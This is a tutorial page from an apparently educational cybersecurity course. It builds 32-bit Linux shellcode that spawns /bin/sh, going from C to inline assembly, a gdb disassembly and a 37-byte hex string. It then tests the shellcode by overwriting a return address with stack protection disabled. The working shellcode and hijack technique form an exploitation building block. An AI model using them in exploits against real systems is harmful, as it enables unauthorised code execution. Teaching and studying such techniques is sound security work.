Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

\newpage

Building shellcode

The term shellcode is typically used to refer to that piece of code which allows to spawn a command line in the targeting system. This can be done from any process in execution provided it invokes the right call. This tutorial will focus on understanding a shellcode for i386 systems and how it's typically used.


Note: as in previous tutorials, there's a docker container that facilitates reproducing the work of this tutorial. The container can be built with:

docker build -t basic_cybersecurity2:latest .

and runned with:

docker run --privileged -it basic_cybersecurity2:latest

The code to spawn a shell in C looks like (shellcode.c):

#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}

executing, it clearly gives us a shell:

root@1406e08c64b9:~# ./shellcode
#

Reading through literature [2], one can summarize that this C program consist of the following steps in assembly:

  • a) Have the null terminated string "/bin/sh" somewhere in memory.
  • b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word.
  • c) Copy 0xb into the EAX register.
  • d) Copy the address of the address of the string "/bin/sh" into the EBX register.
  • e) Copy the address of the string "/bin/sh" into the ECX register.
  • f) Copy the address of the null long word into the EDX register.
  • g) Execute the int $0x80 instruction.
  • h) Copy 0x1 into the EAX register.
  • i) Copy 0x0 into the EBX register.
  • j) Execute the int $0x80 instruction.

From [3], we can put together the following complete program assembled together in C (shellcodeasm.c):

void main() {
__asm__(" \
          xor     %eax,       %eax; \
          xor     %edx,       %edx; \
          movb    $11,        %al; \
          push    %edx; \
          push    $0x68732f6e; \
          push    $0x69622f2f; \
          mov     %esp,       %ebx; \
          push    %edx; \
          push    %ebx; \
          mov     %esp,       %ecx; \
          int     $0x80; \
          movl   $0x1, %eax; \
          movl   $0x0, %ebx;  \
          int    $0x80;");
}

executing, it clearly gives us a shell:

root@1406e08c64b9:~# ./shellcodeasm
#

and disassembling it, we obtain the same (plus the corresponding instructions for the stack management at the beginning and end):

>>> disassemble main
Dump of assembler code for function main:
   0x080483ed <+0>:	push   %ebp
   0x080483ee <+1>:	mov    %esp,%ebp
   0x080483f0 <+3>:	xor    %eax,%eax
   0x080483f2 <+5>:	xor    %edx,%edx
   0x080483f4 <+7>:	mov    $0xb,%al
   0x080483f6 <+9>:	push   %edx
   0x080483f7 <+10>:	push   $0x68732f6e
   0x080483fc <+15>:	push   $0x69622f2f
   0x08048401 <+20>:	mov    %esp,%ebx
   0x08048403 <+22>:	push   %edx
   0x08048404 <+23>:	push   %ebx
   0x08048405 <+24>:	mov    %esp,%ecx
   0x08048407 <+26>:	int    $0x80
   0x08048409 <+28>:	mov    $0x1,%eax
   0x0804840e <+33>:	mov    $0x0,%ebx
   0x08048413 <+38>:	int    $0x80
   0x08048415 <+40>:	pop    %ebp
   0x08048416 <+41>:	ret    
End of assembler dump.

Now, a more compact version of the shellcode can be obtained by fetching the hexadecimal representation of all those assembly instructions above which can be obtained by directly looking at the memory:

>>> x/37bx 0x080483f0
0x80483f0 <main+3>:	0x31	0xc0	0x31	0xd2	0xb0	0x0b	0x52	0x68
0x80483f8 <main+11>:	0x6e	0x2f	0x73	0x68	0x68	0x2f	0x2f	0x62
0x8048400 <main+19>:	0x69	0x89	0xe3	0x52	0x53	0x89	0xe1	0xcd
0x8048408 <main+27>:	0x80	0xb8	0x01	0x00	0x00	0x00	0xbb	0x00
0x8048410 <main+35>:	0x00	0x00	0x00	0xcd	0x80

a total of 37 bytes of shellcode. Let's try it out:

char shellcode[] =
      "\x31\xc0\x31\xd2\xb0\x0b\x52\x68"
      "\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
      "\x69\x89\xe3\x52\x53\x89\xe1\xcd"
      "\x80\xb8\x01\x00\x00\x00\xbb\x00"
      "\x00\x00\x00\xcd\x80";

void main() {
   int *ret;    // a variable that will hold the return address in the stack

   ret = (int *)&ret + 2; // obtain the return address from the stack
   (*ret) = (int)shellcode; // point the return address to the shellcode
}

Code is self-explanatory, a local variable ret gets pointed to the return address which later gets modified to point at the global variable shellcode which contains the previously derived shell code. To make this work in a simple manner, we will disable gcc's stack protection mechanism producing:

root@51b56809b3b6:~# ./test_shellcode
#

Resources